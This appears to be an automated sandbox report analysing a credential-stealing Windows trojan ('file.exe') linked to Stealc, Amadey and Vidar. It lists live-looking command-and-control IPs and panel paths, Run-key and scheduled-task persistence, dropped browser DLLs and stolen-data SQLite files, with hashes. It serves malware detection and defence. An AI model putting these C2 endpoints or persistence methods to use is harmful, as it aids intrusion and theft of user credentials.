http://poczta.interia.pl/mh/?mailto=%s	firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
85.28.47.31	unknown	Russian Federation	31643	GES-ASRU	true
185.215.113.19	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
172.217.16.142	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483358
Start date and time:	2024-07-27 03:18:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@46/53@59/10
EGA Information:	Successful, ratio: 25%
HCA Information:	Successful, ratio: 60% Number of executed functions: 82 Number of non-executed functions: 109
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.22, 13.89.179.12, 20.42.73.29, 50.112.139.120, 44.238.205.197, 52.36.33.58, 34.107.243.93, 216.58.212.174, 2.22.61.59, 2.22.61.56, 142.250.185.74, 216.58.206.74, 142.250.185.78, 142.250.181.238
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, shavar.prod.mozaws.net, ciscobinary.openh264.org, autopush.prod.mozaws.net, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, a17.rackcdn.com.mdc.edgesuite.net, detectportal.prod.mozaws.net, aus5.mozilla.org, onedsblobprdcus17.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com, a19.dscg10.akamai.net, ocsp.digicert.com, redirector.gvt1.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, safebrowsing.googleapis.com, umwatson.events.data.microsoft.com, location.services.mozilla.com
Execution Graph export aborted for target RoamingKJEGDBKFIJ.exe, PID 6536 because it is empty
Execution Graph export aborted for target userIJKFHIIEHI.exe, PID 3260 because it is empty
Execution Graph export aborted for target explorti.exe, PID 3500 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:19:26	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
03:19:29	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
03:19:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 659e6df34d.exe C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe
03:19:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7bfd2dfdc1.exe C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe
03:19:56	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 659e6df34d.exe C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe
03:20:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7bfd2dfdc1.exe C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe
21:19:28	API Interceptor	4x Sleep call for process: WerFault.exe modified
21:19:31	API Interceptor	803289x Sleep call for process: explorti.exe modified
21:20:01	API Interceptor	473x Sleep call for process: axplong.exe modified
21:20:12	API Interceptor	347x Sleep call for process: 7bfd2dfdc1.exe modified
21:20:40	API Interceptor	1x Sleep call for process: firefox.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
85.28.47.31	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	joom.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	CqFFuklrhj.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	Jzu7V2qdJx.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
185.215.113.19	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	SecuriteInfo.com.Win32.TrojanX-gen.22664.27275.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	LbMTyCFRzs.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	DHBIT8FeuO.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
services.addons.mozilla.org	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.115
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.122
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.18
	file.exe	Get hash	malicious	Babadeda	Browse	143.204.215.115
	file.exe	Get hash	malicious	Babadeda	Browse	143.204.215.105
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	18.65.39.112
	file.exe	Get hash	malicious	Babadeda	Browse	18.65.39.112
	file.exe	Get hash	malicious	Babadeda, Coinhive, Xmrig	Browse	3.165.136.19
	file.exe	Get hash	malicious	Babadeda	Browse	18.65.39.112
	file.exe	Get hash	malicious	Babadeda	Browse	143.204.215.18
example.org	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda, Coinhive, Xmrig	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
twitter.com	file.exe	Get hash	malicious	Unknown	Browse	104.244.42.193
	file.exe	Get hash	malicious	Unknown	Browse	104.244.42.129
	file.exe	Get hash	malicious	Unknown	Browse	104.244.42.1
	file.exe	Get hash	malicious	Babadeda	Browse	104.244.42.65
	file.exe	Get hash	malicious	Babadeda	Browse	104.244.42.1
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	104.244.42.1
	file.exe	Get hash	malicious	Babadeda, Coinhive, Xmrig	Browse	104.244.42.65
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	Unknown	Browse	157.240.253.35
	https://www.kudoboard.com/boards/ZWwsi9jg	Get hash	malicious	Unknown	Browse	157.240.253.35
	file.exe	Get hash	malicious	Unknown	Browse	157.240.252.35
	file.exe	Get hash	malicious	Unknown	Browse	157.240.0.35
	https://f522my.fi79.fdske.com/ec/gAAAAABmpB7T0a5uPS5ojzr4t_T3OUm-FdnelJXDBC1VoV6m2V3L_fPLJYD_I4iovDAQynFwUxenvGcRNh2X00urBe5-4u-rT9GnyUh1X4xs-bp1jFgbdnQWjG990ZIV-3jiRSF6xm2yQVII0IUZNMTwe6xA7L7bXWw_begThms8P6liFgUdG6VQSYwrbqAxhU2UEyqaypup8CoqX1XTXX22SapdlozSl3U2FuKV8U9lz4_YoWYvXaj9erwugsbbIzwuyoMgDRxdh9iJQFak65dYgkq2tGXY1LV-S0k2sDgZf7wEDr63jmpMQO3SzqMfQA3mGK6zccUXpwE0i3r8hj5z4np9jw5lE8Wcp6N7QIvI_qpBMTJqfmuaZZdQ5LOQYKgqx2tl9eUzVwZBUsvbcRUHD4gPhSo47eQGLiImSy0uueaOd9GD5v-xXSggcJV4oiu3m7MRPADdbsVfsrtFilW1dPy_5ezRxo0JN8be1WWGWOeTVzt3fK4=	Get hash	malicious	Unknown	Browse	157.240.252.35
	https://muscletherapytec.com/wp-admin/bvn2/sprom2/popular/41936a0e62f13ad8ca77add4983dc24b	Get hash	malicious	Unknown	Browse	157.240.252.35
	https://muscletherapytec.com/wp-admin/bvn2/sprom2/popular/4e3ca076003281dc76236e73f1cc5142	Get hash	malicious	Unknown	Browse	157.240.0.35
	http://armannlakeltd.wixsite.com/btinternet/	Get hash	malicious	Unknown	Browse	157.240.253.35
	https://muscletherapytec.com/wp-admin/bvn2/sprom2/popular/e5ea942a18732b1311810dd2e55b146b/	Get hash	malicious	Unknown	Browse	157.240.253.35
	https://muscletherapytec.com/wp-admin/bvn2/sprom2/popular/17f299cc4b87de0e07a1fdc16d0d9e99/	Get hash	malicious	Unknown	Browse	157.240.251.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	user.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	invoker.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	tgmes.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	x.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	invoker.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	locker.ps1	Get hash	malicious	TrojanRansom	Browse	34.117.59.81
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	https://riprogramma.consegna.52-47-206-73.cprapid.com/brt/payment.php	Get hash	malicious	Unknown	Browse	34.117.77.79
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	RedLine	Browse	185.215.113.9
GES-ASRU	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse	85.28.47.70
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	85.28.47.31
	joom.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
	CqFFuklrhj.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	85.28.47.31
	Jzu7V2qdJx.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	RedLine	Browse	185.215.113.9

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Babadeda, Coinhive, Xmrig	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	1lKbb2hF7fYToopfpmEvlyRN.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	IRqsWvBBMc.exe	Get hash	malicious	Amadey, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	1lKbb2hF7fYToopfpmEvlyRN.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	IRqsWvBBMc.exe	Get hash	malicious	Amadey, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAKFBKEHDBGHJJKFIEGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKEHDGDGHCBGCAKFIIIECFIIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGCBKECA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHDBGHCBAEGCBFHJEBFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJKEHJJDAAKFHIDAKFHCBFCFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDGDHJJDGHCAAAKEHIJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GHJDGDBFCBKFHJKFHCBKKFIIDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJKJJDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFCFBAAEHCFHJJKEHJKJDHJDGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_659e6df34d.exe_d8193af9cd15a337985c9ea7932cee3b3a794dc_031307e8_0e77e3c4-7dd5-4c66-a16e-371f78b8ad43\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.971109336339047
Encrypted:	false
SSDEEP:	192:ryaHoLY02b+KjEhZrMZ1zuiFIZ24IO8y:dILz2b+Kjb7zuiFIY4IO8y
MD5:	26EE20EC1EA1E8FB167A76A19588E8B8
SHA1:	628E272A0FE60F317A718133EC5DFF3725F9A053
SHA-256:	10BE8E832792652C1A0354A6DFB9B47881BDCFA4FD35336A30C05E7EAFEBD3AD
SHA-512:	804625BD85C6F907E714A70CB8D1596871B79FFF33CC2207F1DC18298661172BA64013C0170269DBBE14C340423B67B4E333F2F6A48655EB438403C823E795D2
Malicious:	false
